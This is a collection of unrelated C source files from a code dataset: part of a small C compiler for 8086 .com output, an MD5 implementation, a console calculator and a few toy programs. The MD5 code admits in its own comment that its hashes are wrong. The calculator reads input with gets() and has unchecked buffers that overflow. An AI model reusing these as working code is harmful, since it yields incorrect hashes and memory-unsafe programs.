Output1Byte(I_XCHG_AX|R_SI);
EmitMovRImm(R_CX, SizeofCurrentType());
Output2Bytes(0xF3, 0xA4); // REP MOVSB
continue;
}
LvalToRval();
int Size = 2;
if ((LhsType&~VT_UNSIGNED) == VT_CHAR) {
Size = 1;
}
if (Op != '=') {
if (!LhsLoc)
EmitMovRR(R_SI, R_DI); // TODO: Can sometimes be avoided
Temp = CurrentType == (VT_INT|VT_LOCLIT);
if (Size == 2) {
int Inst = GetSimpleALU(Op);
if (Inst) {
if (Temp) {
EmitModrm(I_ALU_RM16_IMM16, Inst>>3, LhsLoc, LhsVal);
OutputWord(CurrentVal);
} else {
GetVal();
EmitModrm(Inst, R_AX, LhsLoc, LhsVal);
}
if (!LhsLoc)
Output1Byte(I_XCHG_AX|R_DI);
CurrentType = LhsType | LhsLoc | VT_LVAL;
CurrentVal = LhsVal;
continue;
}
}
if (!Temp) {
if ((CurrentType&~VT_UNSIGNED) != VT_INT) Fail();
Output1Byte(I_XCHG_AX|R_CX);
}
EmitLoadAx(Size, LhsLoc, LhsVal);
if (Size == 1) {
EmitExtend(LhsType&VT_UNSIGNED);
}
if (Temp) {
DoRhsConstBinOp(Op);
CurrentType &= ~VT_LOCMASK;
} else {
DoBinOp(Op, R_CX);
}
LastZFInst = CodeAddress;
} else if (CurrentType == (VT_INT|VT_LOCLIT)) {
// Constant assignment
if (!LhsLoc) {
GetVal();
Output1Byte(I_STOSB-1+Size);
} else {
EmitStoreConst(Size, LhsLoc, LhsVal);
}
continue;
} else {
GetVal();
}
EmitStoreAx(Size, LhsLoc, LhsVal);
continue;
}
int LhsPointeeSize = 0;
if (LhsType & VT_PTRMASK) {
LhsPointeeSize = SizeofType(LhsType-VT_PTR1, LhsTypeExtra);
if ((CurrentType&VT_BASEMASK) == VT_ARRAY)
LvalToRval(); // Decay array before overwriting CurrentTypeExtra
CurrentTypeExtra = LhsTypeExtra;
IsUnsignedOp = 1;
}
if (CurrentType == (VT_LOCLIT|VT_INT)) {
if (!((Pending&PENDING_PUSHAX)|IsDeadCode)) Fail();
Pending &= ~PENDING_PUSHAX;
CurrentType = VT_INT;
if (LhsType & VT_PTRMASK) {
CurrentVal *= LhsPointeeSize;
CurrentType = LhsType;
}
RhsConst:
DoRhsConstBinOp(Op);
} else {
Temp = OpCommutes(Op);
int R = R_CX;
if (LhsLoc == VT_LOCLIT) {
if (LhsType != VT_INT) Fail();
GetVal();
if (Temp) {
CurrentVal = LhsVal;
goto RhsConst;
} else {
EmitMovRImm(R_CX, LhsVal);
}
} else {
if ((LhsType&~VT_UNSIGNED) != VT_INT && !LhsPointeeSize) Fail();
if (Op == '+' && LhsPointeeSize) {
GetVal();
EmitScaleAx(LhsPointeeSize);
CurrentType = LhsType;
} else if ((Pending & PENDING_PUSHAX) && (CurrentType & VT_BASEMASK) != VT_ARRAY) {
if ((CurrentType&(VT_BASEMASK|VT_PTRMASK)) != VT_CHAR) {
if (!(CurrentType&VT_LVAL)) Fail();
Pending &= ~PENDING_PUSHAX;
if (!DoRhsLvalBinOp(Op)) {
goto DoNormal;
}
goto BinOpOut;
}
}
GetVal();
if (!Temp) {
Output1Byte(I_XCHG_AX|R_CX);
GetStoredVal(R_AX);
R = R_CX;
Temp = 1;
} else {
R = GetStoredVal(-1);
}
}
DoNormal:
if (!Temp)
Output1Byte(I_XCHG_AX|R);
DoBinOp(Op, R);
}
BinOpOut:
if (Op == '-' && LhsPointeeSize) {
EmitDivAxConst(LhsPointeeSize);
CurrentType = VT_INT;
}
LastZFInst = CodeAddress;
} while (OperatorPrecedence <= OuterPrecedence);
}
void ParseExpr(void)
{
ParseCastExpression();
if (OperatorPrecedence <= PREC_COMMA)
ParseExpr1(PREC_COMMA);
}
void ParseAssignmentExpression(void)
{
ParseCastExpression();
if (OperatorPrecedence <= PREC_ASSIGN)
ParseExpr1(PREC_ASSIGN);
}
void SaveBaseType(void)
{
BaseType = CurrentType & ~VT_PTRMASK;
BaseTypeExtra = CurrentTypeExtra;
if ((CurrentType & VT_BASEMASK) == VT_ARRAY) {
struct ArrayDecl* AD = &ArrayDecls[CurrentTypeExtra];
BaseType = AD->Type;
BaseTypeExtra = AD->TypeExtra;
}
}
void ParseDeclarator(int* Id);
void ParseDeclSpecs(void)
{
int Flags = 0;
// Could check if legal type, but we want to keep the code small...
CurrentType = VT_INT;
for (;;) {
switch (TokenType) {
case TOK_VOID:
CurrentType = VT_VOID;
break;
case TOK_CHAR:
CurrentType = VT_CHAR;
break;
case TOK_SHORT:
case TOK_INT:
CurrentType = VT_INT;
break;
case TOK_VA_LIST:
CurrentType = VT_CHAR | VT_PTR1;
break;
case TOK_AUTO:
case TOK_CONST:
case TOK_EXTERN: // Should only really be allowed in global scope
case TOK_REGISTER:
case TOK_VOLATILE:
// Ignore but accept for now
break;
case TOK_STATIC:
Flags |= VT_STATIC;
break;
case TOK_SIGNED:
Flags &= ~VT_UNSIGNED;
break;
case TOK_TYPEDEF:
Flags |= VT_TYPEDEF;
break;
case TOK_UNSIGNED:
Flags |= VT_UNSIGNED;
break;
case TOK_ENUM:
GetToken();
if (TokenType >= TOK_ID) {
// TODO: Store and use the enum identifier
GetToken();
}
if (TokenType == '{') {
GetToken();
++IgnoreRedef;
int EnumVal = 0;
while (TokenType != '}') {
const int id = ExpectId();
if (TokenType == '=') {
GetToken();
ParseAssignmentExpression();
if (CurrentType != (VT_INT|VT_LOCLIT)) Fail();
EnumVal = CurrentVal;
}
CurrentType = VT_INT|VT_LOCLIT;
struct VarDecl* vd = AddVarDecl(id);
vd->Offset = EnumVal;
if (TokenType == ',') {
GetToken();
++EnumVal;
continue;
}
break;
}
Expect('}');
--IgnoreRedef;
}
CurrentType = VT_INT;
continue;
case TOK_STRUCT:
case TOK_UNION:
{
int id = 0;
if (TokenType == TOK_UNION)
id = IS_UNION_FLAG;
GetToken();
CurrentTypeExtra = -1;
if (TokenType >= TOK_ID) {
id |= ExpectId();
int i;
for (i = StructCount - 1; i >= 0; --i) {
if (StructDecls[i].Id == id) {
CurrentTypeExtra = i;
break;
}
}
} else {
id |= ID_MAX; // Should never match in above loop
}
if (TokenType == '{') {
GetToken();
if (StructCount == STRUCT_MAX) Fail();
const int SI = StructCount++;
struct StructDecl* SD = &StructDecls[SI];
SD->Id = id;
struct StructMember** Last = &SD->Members;
while (TokenType != '}') {
/// XXX Issue here - Save Base type before this?
ParseDeclSpecs();
SaveBaseType();
while (TokenType != ';') {
if (StructMemCount == STRUCT_MEMBER_MAX) Fail();
struct StructMember* SM = &StructMembers[StructMemCount++];
ParseDeclarator(&SM->Id);
if (SM->Id < 0) Fail();
SM->Type = CurrentType;
SM->TypeExtra = CurrentTypeExtra;
*Last = SM;
Last = &SM->Next;
if (TokenType == ',') {
GetToken();
CurrentType = BaseType;
CurrentTypeExtra = BaseTypeExtra;
continue;
}
break;
}
Expect(';');
}
GetToken();
*Last = 0;
CurrentTypeExtra = SI;
}
CurrentType = VT_STRUCT;
}
continue;
default:
{
struct VarDecl* Typedef = LookupTypedef();
if (Typedef) {
CurrentType = Typedef->Type & ~VT_TYPEDEF;
CurrentTypeExtra = Typedef->TypeExtra;
break;
}
CurrentType |= Flags;
return;
}
}
GetToken();
}
}
void ParseDeclarator(int* Id)
{
Redo:
switch (TokenType) {
case '*':
GetToken();
CurrentType += VT_PTR1;
goto Redo;
case TOK_CONST:
case TOK_VOLATILE:
// Ignore for now
GetToken();
goto Redo;
}
int IsFunPtr = 0;
if (TokenType == '(') {
// Hacks
GetToken();
Expect('*');
CurrentType |= VT_FUNPTR;
IsFunPtr = 1;
}
if (Id) {
if (TokenType >= TOK_ID) {
*Id = TokenType - TOK_KEYWORD;
GetToken();
} else {
*Id = -1;
}
}
if (IsFunPtr) {
// More hacks
Expect(')');
}
if (TokenType == '(') {
GetToken();
const int T = CurrentType | VT_FUN;
const int E = CurrentTypeExtra;
ArgsCount = 0;
while (TokenType != ')') {
if (TokenType == TOK_ELLIPSIS) {
GetToken();
break;
}
ParseDeclSpecs();
if (TokenType == ')')
break;
if (ArgsCount == ARGS_MAX) Fail();
struct Argument* A = &Args[ArgsCount++];
ParseDeclarator(&A->Id);
A->Type = CurrentType;
A->TypeExtra = CurrentTypeExtra;
if (TokenType == ',') {
GetToken();
continue;
}
break;
}
Expect(')');
CurrentType = T;
CurrentTypeExtra = E;
return;
}
while (TokenType == '[') {
GetToken();
if (ArrayCount == ARRAY_MAX) Fail();
struct ArrayDecl* AD = &ArrayDecls[ArrayCount];
const int F = CurrentType & VT_STATIC;
AD->Type = CurrentType & ~VT_STATIC;
AD->TypeExtra = CurrentTypeExtra;
if (TokenType != ']') {
ParseExpr();
if (CurrentType != (VT_INT|VT_LOCLIT)) Fail(); // Need constant expression
AD->Bound = CurrentVal;
if (AD->Bound <= 0) Fail();
} else {
AD->Bound = 0;
}
Expect(']');
CurrentType = VT_ARRAY | F;
CurrentTypeExtra = ArrayCount++;
// Move bounds "inwards"
// char a[2][3][4] goes
// (char,[])
// -> (array{0},[[char,2]])
// -> (array{1},[[char,3],[array{0},2]])
// -> (array{2},[[char,4],[array{0},3],[array{1},2]])
while (AD->Type == VT_ARRAY) {
struct ArrayDecl* AD2 = &ArrayDecls[AD->TypeExtra];
const int Temp = AD->Bound;
AD->Bound = AD2->Bound;
AD2->Bound = Temp;
AD = AD2;
}
}
}
void ParseAbstractDecl(void)
{
ParseDeclSpecs();
ParseDeclarator(0);
}
struct VarDecl* DoDecl(void)
{
int Id;
ParseDeclarator(&Id);
if (Id < 0) Fail();
return AddVarDecl(Id);
}
struct VarDecl* ParseFirstDecl(void)
{
ParseDeclSpecs();
if (TokenType == ';')
return 0;
struct VarDecl* VD = DoDecl();
SaveBaseType();
return VD;
}
// Remember to reset CurrentType/CurrentTypeExtra before calling
struct VarDecl* NextDecl(void)
{
if (TokenType != ',')
return 0;
GetToken();
CurrentType = BaseType;
CurrentTypeExtra = BaseTypeExtra;
return DoDecl();
}
void ParseStatement(void);
void DoLoopStatements(int BLabel, int CLabel)
{
const int OldBreak = BreakLabel;
const int OldContinue = ContinueLabel;
const int OldBStack = BStackLevel;
const int OldCStack = CStackLevel;
BreakLabel = BLabel;
ContinueLabel = CLabel;
BStackLevel = LocalOffset;
CStackLevel = LocalOffset;
ParseStatement();
BStackLevel = OldBStack;
CStackLevel = OldCStack;
BreakLabel = OldBreak;
ContinueLabel = OldContinue;
}
void EnsureSwitchStmt(void)
{
if (NextSwitchStmt < 0) {
// Continue execution after the case
NextSwitchStmt = MakeLabel();
EmitJmp(NextSwitchStmt);
}
}
void ParseStatement(void)
{
Redo:
// Get compund statements out of the way to simplify switch handling
if (TokenType == '{') {
const int OldOffset = LocalOffset;
const int OldStructMemCount = StructMemCount;
const int OldStructCount = StructCount;
const int OldArrayCount = ArrayCount;
PushScope();
Expect('{');
while (TokenType != '}') {
ParseStatement();
}
GetToken();
PopScope();
Pending += OldOffset - LocalOffset;
LocalOffset = OldOffset;
StructMemCount = OldStructMemCount;
StructCount = OldStructCount;
ArrayCount = OldArrayCount;
return;
}
if (NextSwitchCase >= 0) {
// switch is active
// NextSwitchStmt == -1 ? Handling statements : handling cases
switch (TokenType) {
case TOK_CASE:
{
EnsureSwitchStmt();
EmitLocalLabel(NextSwitchCase);
NextSwitchCase = MakeLabel();
int Cases[(0x7F-3)/5]; // Limit to what we can handle with short jumps.
int NumCases = 0;
do {
GetToken();
ParseExpr();
Expect(':');
if (CurrentType != (VT_INT|VT_LOCLIT)) Fail(); // Need constant expression
Cases[NumCases] = CurrentVal;
if (++NumCases == sizeof(Cases)/sizeof(*Cases))
break;
} while (TokenType == TOK_CASE);
int* Case = Cases;
if (--NumCases) {
int Off = NumCases * 5 + 3;
while (NumCases--) {
Output1Byte(I_CMP|5);
OutputWord(*Case++);
Output2Bytes(0x70|JZ, Off);
Off -= 5;
}
}
Output1Byte(I_CMP|5);
OutputWord(*Case);
EmitJcc(JNZ, NextSwitchCase);
goto Stmt;
}
case TOK_DEFAULT:
GetToken();
Expect(':');
if (SwitchDefault != -1) Fail();
EnsureSwitchStmt();
SwitchDefault = NextSwitchStmt;
goto Redo;
}
if (NextSwitchStmt >= 0) {
EmitJmp(NextSwitchCase);
Stmt:
EmitLocalLabel(NextSwitchStmt);
NextSwitchStmt = -1;
goto Redo;
}
}
if (TokenType >= TOK_ID)
goto Skip;
switch (TokenType) {
case ';':
GetToken();
return;
case TOK_RETURN:
GetToken();
if (TokenType != ';') {
ParseExpr();
GetVal();
}
if (LocalOffset) {
if (ReturnLabel < 0)
ReturnLabel = MakeLabel();
EmitJmp(ReturnLabel);
} else {
Output2Bytes(I_POP|R_BP, I_RET);
IsDeadCode = 1;
}
GetSemicolon:
if (TokenType != ';')
Expect(';');
GetToken();
return;
case TOK_BREAK:
GetToken();
Pending += BStackLevel - LocalOffset;
EmitJmp(BreakLabel);
goto GetSemicolon;
case TOK_CONTINUE:
GetToken();
Pending += CStackLevel - LocalOffset;
EmitJmp(ContinueLabel);
goto GetSemicolon;
case TOK_GOTO:
GetToken();
EmitJmp(GetNamedLabel(ExpectId())->LabelId);
goto GetSemicolon;
case TOK__EMIT:
GetToken();
ParseExpr();
if (CurrentType != (VT_INT|VT_LOCLIT)) Fail(); // Constant expression expected
Output1Byte(CurrentVal);
return;
case TOK_IF:
{
GetToken();
const int ElseLabel = MakeLabel();
Expect('(');
DoCond(ElseLabel, 1);
Expect(')');
ParseStatement();
if (TokenType == TOK_ELSE) {
GetToken();
const int EndLabel = MakeLabel();
EmitJmp(EndLabel);
EmitLocalLabel(ElseLabel);
ParseStatement();
EmitLocalLabel(EndLabel);
} else {
EmitLocalLabel(ElseLabel);
}
}
return;
case TOK_FOR:
{
GetToken();
const int CondLabel = MakeLabel();
const int BodyLabel = MakeLabel();
const int EndLabel = MakeLabel();
int IterLabel = CondLabel;
Expect('(');
// Init
if (TokenType != ';') {
ParseExpr();
}
Expect(';');
// Cond
EmitLocalLabel(CondLabel);
if (TokenType != ';') {
DoCond(EndLabel, 1);
}
Expect(';');
// Iter
if (TokenType != ')') {
EmitJmp(BodyLabel);
IterLabel = MakeLabel();
EmitLocalLabel(IterLabel);
ParseExpr();
EmitJmp(CondLabel);
}
Expect(')');
EmitLocalLabel(BodyLabel);
DoLoopStatements(EndLabel, IterLabel);
EmitJmp(IterLabel);
EmitLocalLabel(EndLabel);
}
return;
case TOK_WHILE:
{
GetToken();
const int StartLabel = MakeLabel();
const int EndLabel = MakeLabel();
EmitLocalLabel(StartLabel);
Expect('(');
DoCond(EndLabel, 1);
Expect(')');
DoLoopStatements(EndLabel, StartLabel);
EmitJmp(StartLabel);
EmitLocalLabel(EndLabel);
}
return;
case TOK_DO:
{
GetToken();
const int StartLabel = MakeLabel();
const int CondLabel = MakeLabel();
const int EndLabel = MakeLabel();
EmitLocalLabel(StartLabel);
DoLoopStatements(EndLabel, CondLabel);
EmitLocalLabel(CondLabel);
Expect(TOK_WHILE);
Expect('(');
DoCond(StartLabel, 0);
Expect(')');
EmitLocalLabel(EndLabel);
goto GetSemicolon;
}
case TOK_SWITCH:
{
GetToken();
Expect('(');
ParseExpr();
GetVal();
Expect(')');
const int OldBreakLevel = BStackLevel;
const int OldBreakLabel = BreakLabel;
const int LastSwitchCase = NextSwitchCase;
const int LastSwitchStmt = NextSwitchStmt;
const int LastSwitchDef = SwitchDefault;
BStackLevel = LocalOffset;
BreakLabel = MakeLabel();
NextSwitchCase = MakeLabel();
NextSwitchStmt = MakeLabel();
SwitchDefault = -1;
ParseStatement();
if (SwitchDefault >= 0) {
if (NextSwitchStmt < 0) {
// We exited the switch by falling through, make sure we don't go to the default case
NextSwitchStmt = MakeLabel();
EmitJmp(NextSwitchStmt);
}
EmitLocalLabel(NextSwitchCase);
EmitJmp(SwitchDefault);
} else {
EmitLocalLabel(NextSwitchCase);
}
if (NextSwitchStmt >= 0)
EmitLocalLabel(NextSwitchStmt);
EmitLocalLabel(BreakLabel);
NextSwitchCase = LastSwitchCase;
NextSwitchStmt = LastSwitchStmt;
SwitchDefault = LastSwitchDef;
BStackLevel = OldBreakLevel;
BreakLabel = OldBreakLabel;
}
return;
}
Skip:
if (IsTypeStart()) {
struct VarDecl* vd = ParseFirstDecl();
while (vd) {
int size = SizeofCurrentType();
if (CurrentType & VT_STATIC) {
vd->Type = (CurrentType & ~VT_STATIC) | VT_LOCGLOB;
BssSize += size;
} else {
vd->Type |= VT_LOCOFF;
size = (size+1)&-2;
if (TokenType == '=') {
GetToken();
ParseAssignmentExpression();
GetVal();
Output1Byte(I_PUSH|R_AX);
} else {
Pending -= size;
}
LocalOffset -= size;
vd->Offset = LocalOffset;
}
vd = NextDecl();
}
} else if (TokenType >= TOK_ID) {
// Expression statement / Labelled statement
CurrentVal = TokenType - TOK_KEYWORD;
GetToken();
if (TokenType == ':') {
GetToken();
EmitLocalLabel(GetNamedLabel(CurrentVal)->LabelId);
EmitModrm(I_LEA, R_SP, VT_LOCOFF, LocalOffset);
goto Redo;
} else {
HandlePrimaryId();
ParsePostfixExpression();
if (OperatorPrecedence <= PREC_COMMA)
ParseExpr1(PREC_COMMA);
}
} else {
ParseExpr();
}
goto GetSemicolon;
}
// Arg 2 BP + 6
// Arg 1 BP + 4
// Return Address BP + 2
// Old BP BP <-- BP
// Local 1 BP - 2
// Local 2 BP - 4 <-- SP
void ParseExternalDefition(void)
{
struct VarDecl* vd = ParseFirstDecl();
if (!vd)
goto End;
vd->Type &= ~VT_STATIC;
if (vd->Type & VT_FUN) {
vd->Type |= VT_LOCGLOB;
if (TokenType != '{') {
goto End;
}
int i;
// Make room for "late globals"
memset(&VarDecls[Scopes[0]], -1, sizeof(VarDecls[0])*GLOBAL_RESERVE);
Scopes[0] += GLOBAL_RESERVE;
PushScope();
Scopes[0] -= GLOBAL_RESERVE;
for (i = 0; i < ArgsCount; ++i) {
struct Argument* A = &Args[i];
CurrentType = A->Type | VT_LOCOFF;
CurrentTypeExtra = A->TypeExtra;
struct VarDecl* arg = AddVarDecl(A->Id);
arg->Offset = 4 + i*2;
}
if (LocalLabelCounter) Fail();
LocalOffset = 0;
ReturnLabel = -1;
BreakLabel = ContinueLabel = -1;
EmitGlobalLabel(vd);
Output1Byte(I_PUSH|R_BP);
EmitMovRR(R_BP, R_SP);
ParseStatement();
if (ReturnLabel >= 0) {
EmitLocalLabel(ReturnLabel);
EmitMovRR(R_SP, R_BP);
}
Output2Bytes(I_POP|R_BP, I_RET);
// When debugging:
//int l;for (l = 0; l < LocalLabelCounter; ++l)if (!(Labels[l].Ref == 0)) Fail();
LocalLabelCounter = 0;
NamedLabelCount = 0;
PopScope();
return;
}
while (vd) {
vd->Type |= VT_LOCGLOB;
if (TokenType == '=') {
GetToken();
EmitGlobalLabel(vd);
ParseAssignmentExpression();
switch (CurrentType) {
case VT_INT|VT_LOCLIT:
// TODO: Could save one byte per global char...
OutputWord(CurrentVal);
break;
case VT_LVAL|VT_ARRAY:
{
struct ArrayDecl* AD = &ArrayDecls[vd->TypeExtra];
if ((AD->Type & ~VT_UNSIGNED) != VT_CHAR) Fail();
if (AD->Bound) Fail(); // TODO
AD->Bound = ArrayDecls[CurrentTypeExtra].Bound;
if (CurrentTypeExtra != ArrayCount-1) Fail();
--ArrayCount;
}
break;
default:
Fail();
}
} else {
BssSize += SizeofCurrentType();
}
vd = NextDecl();
}
End:
Expect(';');
}
void MakeOutputFilename(const char* n, const char* ext)
{
char* dest = IdBuffer;
char* LastDot = 0;
while (*n) {
if (*n == '.')
LastDot = dest;
*dest++ = *n++;
}
CopyStr(LastDot ? LastDot : dest, ext);
}
int OpenOutput(void)
{
const int OutFile = open(IdBuffer, O_WRONLY | O_CREAT | O_TRUNC | O_BINARY, 0600);
if (OutFile < 0)
Fatal("Error creating output file");
return OutFile;
}
void AddBuiltins()
{
const char* s =
"auto\0break\0case\0char\0const\0continue\0default\0do\0double\0"
"else\0enum\0extern\0float\0for\0goto\0if\0int\0long\0"
"register\0return\0short\0signed\0sizeof\0static\0struct\0"
"switch\0typedef\0union\0unsigned\0void\0volatile\0while\0"
"va_list\0va_start\0va_end\0va_arg\0_emit\0_start\0_SBSS\0"
"_EBSS\0";
do {
IdText[IdCount] = s;
unsigned Hash = 0;
while (*s)
Hash += (Hash<<4)+*s++;
while (IdHashTab[Hash &= ID_HASHMAX-1] != -1)
++Hash;
IdHashTab[Hash] = IdCount++;
} while (*++s);
if (IdCount != TOK__EBSS-TOK_KEYWORD+1) Fail();
}
int main(int argc, char** argv)
{
if (argc < 2) {
Printf("Usage: scc input-file [output-file]\n");
return 1;
}
InFile = open(argv[1], O_RDONLY | O_BINARY);
if (InFile < 0) {
Fatal("Error opening input file");
}
MakeOutputFilename(argv[2] ? argv[2] : argv[1], ".map");
MapFile = OpenOutput();
IdBufPtr = IdBuffer;
memset(IdHashTab, -1, sizeof(IdHashTab));
AddBuiltins();
// Prelude
Output2Bytes(I_XOR|1, MODRM_REG|R_BP<<3|R_BP);
Output1Byte(I_JMP_REL16);
CurrentType = VT_FUN|VT_VOID|VT_LOCGLOB;
EmitGlobalRefRel(AddVarDecl(TOK__START-TOK_KEYWORD));
CurrentType = VT_CHAR|VT_LOCGLOB;
struct VarDecl* SBSS = AddVarDecl(TOK__SBSS-TOK_KEYWORD);
struct VarDecl* EBSS = AddVarDecl(TOK__EBSS-TOK_KEYWORD);
InBufPtr = InBuf;
GetToken();
while (TokenType)
ParseExternalDefition();
close(InFile);
if (ScopeCount != 1) Fail();
EmitGlobalLabel(SBSS);
struct VarDecl* vd = VarDecls;
struct VarDecl* end = &VarDecls[*Scopes];
for (; vd != end; ++vd) {
if (((CurrentType = vd->Type) & VT_LOCMASK) != VT_LOCGLOB || vd->Offset || vd == EBSS)
continue;
if (CurrentType & VT_FUN) {
Printf("%s is undefined\n", IdText[vd->Id]);
Fatal("Undefined function");
}
EmitGlobalLabel(vd);
CodeAddress += SizeofType(CurrentType, vd->TypeExtra);
}
if (CodeAddress - SBSS->Offset != BssSize) Fail();
EmitGlobalLabel(EBSS);
close(MapFile);
if (argv[2])
CopyStr(IdBuffer, argv[2]);
else
MakeOutputFilename(argv[1], ".com");
const int OutFile = OpenOutput();
write(OutFile, Output, CodeAddress - BssSize - CODESTART);
close(OutFile);
return 0;
}
|
the_stack_data/95450274.c
|
/* This program attempts to recreate the MD5 hash, and does so almost perfectly.
* The only problem is that when creating the integers inside the hashing loop,
* The integers are not created correctly from the 4 chars that they represent
*/
#include <stdio.h>
#include <math.h>
#include <stdint.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <strings.h>
#include <string.h>
struct MD5Hash{
char* filename;
char hash[32];
};
int shifts[]=
{ 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22,
5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20,
4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23,
6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21 };
unsigned int constants[]=
{ 0xd76aa478, 0xe8c7b756, 0x242070db, 0xc1bdceee, 0xf57c0faf, 0x4787c62a, 0xa8304613, 0xfd469501,
0x698098d8, 0x8b44f7af, 0xffff5bb1, 0x895cd7be, 0x6b901122, 0xfd987193, 0xa679438e, 0x49b40821,
0xf61e2562, 0xc040b340, 0x265e5a51, 0xe9b6c7aa, 0xd62f105d, 0x02441453, 0xd8a1e681, 0xe7d3fbc8,
0x21e1cde6, 0xc33707d6, 0xf4d50d87, 0x455a14ed, 0xa9e3e905, 0xfcefa3f8, 0x676f02d9, 0x8d2a4c8a,
0xfffa3942, 0x8771f681, 0x6d9d6122, 0xfde5380c, 0xa4beea44, 0x4bdecfa9, 0xf6bb4b60, 0xbebfbc70,
0x289b7ec6, 0xeaa127fa, 0xd4ef3085, 0x04881d05, 0xd9d4d039, 0xe6db99e5, 0x1fa27cf8, 0xc4ac5665,
0xf4292244, 0x432aff97, 0xab9423a7, 0xfc93a039, 0x655b59c3, 0x8f0ccc92, 0xffeff47d, 0x85845dd1,
0x6fa87e4f, 0xfe2ce6e0, 0xa3014314, 0x4e0811a1, 0xf7537e82, 0xbd3af235, 0x2ad7d2bb, 0xeb86d391};
//Function declarations
void MakeHash(char** hash, char* message, long msgSize);
unsigned int LeftRotate(unsigned int toShift, int shiftAmt);
//The function takes in a MD5Hash sturct with a filename, and then populates
//The hash field after running the contents of the file through the hash
void GetHash(struct MD5Hash* toPop)
{
int sizeInBits = 0;
int targetSize = 0;
int amtToZero = 0;
struct stat stats;
long sizeOfFile;
long index = 0;
char* result = (char*)calloc(32, sizeof(char));
if(stat(toPop->filename, &stats) < 0)
{
printf("Stat Broke.\n");
exit(EXIT_FAILURE);
}
sizeOfFile = (long)stats.st_size;
index = sizeOfFile;
//printf("Size of File: %ld\n", sizeOfFile);
int fd = open(toPop->filename, O_RDONLY);
char* buffer = (char*)calloc(sizeOfFile+1, sizeof(char));
read(fd, buffer, sizeof(char)*sizeOfFile);
buffer[sizeOfFile] = 0x80;
//printf("first bit of the buffer: %x\n", buffer[sizeOfFile]);
index++;
//We need a buffer size that can fit into blocks of size 512 bits
//After we've added the 1 bit.
sizeInBits = (index)*8;
targetSize = (sizeInBits+(512 - sizeInBits % 512))/8;
amtToZero = (448 - sizeInBits % 512)/8;
buffer = realloc(buffer, targetSize);
bzero(&buffer[index], amtToZero+8);//I want to initialize the rest of the data
index += amtToZero;
//printf("Current Size of File: %ld\n", index);
memcpy(&buffer[index], &sizeOfFile, sizeof(long));
index += sizeof(long);
/*for(int i = 0; i < index; i += 4)
{
printf("%x\n", buffer[i]);
}*/
MakeHash(&result, buffer, index);
memcpy(toPop->hash, result, 32);
//printf("Hash on the outside: %s\n", toPop->hash);
}
void MakeHash(char** hash, char* message, long msgSize)
{
unsigned int a0 = 0x67452301;
unsigned int b0 = 0xefcdab89;
unsigned int c0 = 0x98badcfe;
unsigned int d0 = 0x10325476;
unsigned int A1 = 0;
unsigned int B1 = 0;
unsigned int C1 = 0;
unsigned int D1 = 0;
unsigned int temp = 0;
unsigned int funct = 0;
int index = 0;
int itr = 0;
long start = 0;
int* workspace = (int*)calloc(16, sizeof(int));
int i = 0;
while(start < msgSize)
{
for( i = 0; i < 16; i++)
{
memcpy(&workspace[i], &message[start + i*sizeof(int)], sizeof(int));
//printf("Value: %x\n", workspace[i]);
}
A1 = a0;
B1 = b0;
C1 = c0;
D1 = d0;
for(itr = 0; itr < 64; itr++)
{
if(itr <= 15)
{
funct = (B1 & C1) | ((~B1) & D1);
index = itr;
} else if(itr <= 31)
{
funct = (D1 & B1) | ((~D1) & C1);
index = (5 * itr + 1) % 16;
} else if(itr <= 47)
{
funct = B1 ^ C1 ^ D1;
index = (3 * itr + 5) % 16;
} else
{
funct = C1 ^ (B1 | (~D1));
index = (7 * itr) % 16;
}
temp = D1;
D1 = C1;
C1 = B1;
B1 = B1 + LeftRotate(A1 + funct + constants[itr] + workspace[index], shifts[itr]);
A1 = temp;
}
a0 += A1;
b0 += B1;
c0 += C1;
d0 += D1;
start += 64;
}
//printf("Hash: %x%x%x%x\n", a0, b0, c0, d0);
//char buffer[32];
sprintf(*hash, "%x%x%x%x", a0, b0, c0, d0);
//write(1, *hash, 32);
//printf("\n");
}
unsigned int LeftRotate(unsigned int toShift, int shiftAmt)
{
return (toShift << shiftAmt) | (toShift >> (32 - shiftAmt));
}
int main()
{
struct MD5Hash hash;
hash.filename = "empty";
GetHash(&hash);
return EXIT_SUCCESS;
}
|
the_stack_data/18887948.c
|
// Simple Calculator
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int err;
char tokens[2][20];
int a, b;
char op;
int t;
int tl;
int solve(char s[]) {
t = 0;
tl = 0;
op = 0;
for (int i = 0; s[i] != '\0'; i++) {
if (s[i] >= '0' && s[i] <= '9') {
if (t >= 2) {
err = 1;
return 0;
}
tokens[t][tl] = s[i];
tl++;
} else {
if (op != 0) {
err = 2;
return 0;
}
op = s[i];
tokens[t][tl] = '\0';
tl = 0;
t++;
}
}
tokens[t][tl] = '\0';
tl = 0;
t++;
if (t != 2) {
err = 3;
return 0;
}
a = atoi(tokens[0]);
b = atoi(tokens[1]);
switch (op) {
case '+':
return a + b;
case '-':
return a - b;
case '*':
return a * b;
case '/':
return a / b;
default:
err = 4;
}
return 0;
}
void show_usage() {
puts(" Usage: \n");
puts(" HELP - Show Usage\n");
puts(" EXIT - To quit Program\n");
puts("\n");
puts(" <num><op><num> to calculate expression.\n");
puts(" Where <op> can be one of +-*/.\n");
}
char expr[100];
int result;
int handle_expression(char str[]) {
if (strcmpi(str, "HELP") == 0) {
show_usage();
return 1;
}
if (strcmpi(str, "EXIT") == 0) {
return 0;
}
result = solve(str);
if (err) {
printf(" Error[%d]: Only '<num> [+-*/] <num>' syntax supported!\n",
err);
printf(" Type 'HELP' for instructions!\n\n");
} else {
printf(" Result: %d\n\n", result);
}
return 1;
}
int main(int argc, char *argv[]) {
puts("Simple Calculator\n");
puts("-----------------\n");
puts("\n");
show_usage();
while (1) {
err = 0;
puts("Expression: ");
gets(expr);
if (!handle_expression(expr)) {
break;
}
}
return 0;
}
|
the_stack_data/30445.c
|
#include <stdio.h>
int main()
{
int a = 0, b = 1, c, d, e = a + b;
for (c = 3; c <= 11; c++)
{
e = e + (a + b);
d = a;
a = b;
b = b + d;
}
printf("%d", e);
return 0;
}
|
the_stack_data/17303.c
|
#include <stdio.h>
int max()
{
printf("max");
return 0;
}
|
the_stack_data/247019572.c
|
// 关于指针和函数的更多内容
#include <stdio.h>
